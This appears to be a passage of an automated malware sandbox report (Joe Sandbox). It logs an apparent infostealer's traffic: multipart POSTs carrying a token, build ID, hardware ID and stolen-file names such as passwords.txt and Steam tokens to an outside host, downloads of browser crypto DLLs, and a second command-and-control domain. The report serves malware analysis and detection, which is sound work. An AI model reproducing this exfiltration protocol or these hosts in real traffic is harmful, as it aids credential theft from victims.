Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHIHost: lade.petperfectcare.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="file_data"------EHDHDHIECGCAEBFIIDHI--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFCGIIIJDBGCBGIDGIHost: lade.petperfectcare.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 2d 2d 0d 0a Data Ascii: ------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="file_data"------GDBFCGIIIJDBGCBGIDGI--
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKEBFBAKKFCBGDHDGHDHost: lade.petperfectcare.comContent-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBFHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="mode"3------EGCGHCBKFCFBFHIDHDBF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHCHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 2d 2d 0d 0a Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="mode"4------AFCAAEGDBKJJKECBKFHC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: lade.petperfectcare.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 6b 2f 6c 63 41 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 2d 2d 0d 0a Data Ascii: ------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="file_data"k/lcAQ==------DAAFIIJDAAAAKFHIDAAA--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBFHost: lade.petperfectcare.comContent-Length: 98537Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIEHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="mode"5------JJECFIECBGDGCAAAEHIE--

Source: Joe Sandbox View

ASN Name: VAKPoltavaUkraineUA VAKPoltavaUkraineUA

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_00406963

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: lade.petperfectcare.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHDHost: lade.petperfectcare.comContent-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 32 37 44 37 35 39 45 33 32 37 39 33 39 39 34 38 38 30 37 35 33 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="hwid"E27D759E32793994880753-a33c7340-61ca------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------JDGCGDBGCAAEBFIECGHD--

Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe, 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
